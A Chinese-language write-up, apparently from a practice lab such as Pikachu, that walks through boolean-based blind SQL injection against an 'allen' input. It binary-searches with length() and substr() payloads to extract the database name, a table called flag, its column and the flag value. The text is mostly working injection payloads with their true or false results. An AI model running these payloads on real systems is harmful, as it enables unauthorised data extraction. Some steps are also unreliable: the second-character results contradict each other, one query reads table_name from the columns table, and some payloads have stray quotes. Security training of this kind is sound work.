原因：开发者屏蔽了错误的输出信息

方法：带有正确参数的注入

尝试：
allen　　结果成功
allen’ and 1=1#　　结果成功
allen’ and 1=2#　　结果失败

所以，使用 add 连接 sql语句
t通过length，二分法获得数据库的名称长度
allen’ and length(database())>10#
allen’ and length(database())>5#

得到数据库名称长度为7
---
allen’ and substr(database(),1,1) >’p’#　结果失败
allen’ and substr(database(),1,1) >’0’#　　结果成功

通过二分法，获得7个字符，获得数据库名称为： pikachu

将上面的database() 替换为具体的sql ，注意：需要用（）包括起来

同理 二分法获得数据表名称
allen’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) >’f’#　结果失败
allen’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) >’e’#　结果成功
---
allen’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1) >’k’#　结果失败
allen’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1) >’l’#　结果成功

得到数据表名称为：flag

同理获得数据表flag的列字段的长度

select column_name from information_schema.columns where table_schema=database() limit 0,1

allen' and length((select table_name from information_schema.columns where table_schema=database() limit 0,1)) >3#　　结果成功

allen' and length((select table_name from information_schema.columns where table_schema=database() limit 0,1)) >4#　　结果失败

获得长度为 4

获得第一列的名称

allen' and substr((select column_name from information_schema.columns where table_schema=database() limit 0,1),1,1) >'a''#

获得第一列名为： flag

获得第一列列flag的信息

select flag from flag limit 0,1

allen' and substr((select flag from flag limit 0,1),1,1) >'a''#

依次获得信息为 flag{xxxx}

---

asicii表：

https://baike.baidu.com/item/ASCII/309296?fr=aladdin